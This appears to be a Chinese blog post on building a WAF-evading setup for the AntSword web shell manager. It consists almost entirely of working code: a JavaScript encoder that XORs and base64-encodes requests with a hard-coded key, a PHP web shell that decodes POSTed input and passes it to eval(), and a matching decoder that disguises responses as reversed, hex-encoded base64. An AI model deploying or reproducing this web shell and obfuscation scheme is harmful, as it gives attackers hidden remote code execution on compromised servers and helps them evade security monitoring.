如何简单的打造过WAF的蚁剑

'use strict';module.exports = (pwd, data) => {let ret = {};function xor(payload) {    let key='7f84181db668ce6080f6b7502ea8b2e1';    key = key.split("").map(t => t.charCodeAt(0));    let cipher = payload.split("").map(t => t.charCodeAt(0));    for (let i = 0; i < cipher.length; i++) {      cipher[i] = cipher[i] ^ key[i % 32];    }    cipher = cipher.map(t => String.fromCharCode(t)).join("")    cipher = Buffer.from(cipher).toString('base64');    return cipher;  }    //自定义xor算法，将参数均与密钥疑惑，最后base64编码返回for (let _ in data){ //遍历data列表if (_ === '_') { //如果列表键为_即payload则跳过  continue ;}//否则其他所有参数进行编码ret[_] = Buffer.from(data[_]).toString('base64'); //取出参数base64编码，这里其实进行了两次base64，因为蚁剑本身已经有过一层base64ret[_] = xor(ret[_]);//进行异或运算}ret[pwd] = Buffer.from(data['_']).toString('base64'); //data['_']进行base64编码ret[pwd] = xor(ret[pwd]); //进行异或运算return ret; }

<?php$key = "7f84181db668ce6080f6b7502ea8b2e1";$test = (base64_decode($_POST['keyword']));    for ($i = 0;$i<strlen($test);$i++){        $test[$i] = $test[$i]^$key[$i%32];    }eval (base64_decode($test));?>

'use strict';module.exports = {  /**   * @returns {string} asenc 将返回数据base64编码   */  asoutput: () => {    return `    function asenc($out){      $payload = base64_encode($out); //第一次base64编码      $base = base64_encode(strrev($payload));//字符串逆转后base64编码      $hex="";      for ($i=0;$i<strlen($base);$i++){        $hex.=dechex(ord($base[$i])); //将base64编码转16进制      }      return ($hex);    }    `.replace(/ns+/g, '');  },  /**   * 解码 Buffer   * @param {Buffer} buff 要被解码的 Buffer   * @returns {Buffer} 解码后的 Buffer   */  decode_buff: (buff) => {    let num=0;    let hex='';    for(let item=0;item<buff.length/2;item++){      hex = hex+String.fromCharCode(parseInt(buff.slice(num,num+2),16).toString(10));//解16进制转为字符串      num = num+2;    }    let payload = Buffer.from(hex.toString(), 'base64');//第一次base64解码    let cipher = '';    for (let i = payload.length-1;i>=0;i--){      //console.log(payload[i]);      cipher = cipher+String.fromCharCode(payload[i]);//反转字符串    }    return Buffer.from(cipher.toString(), 'base64');//第二次base64解码  }}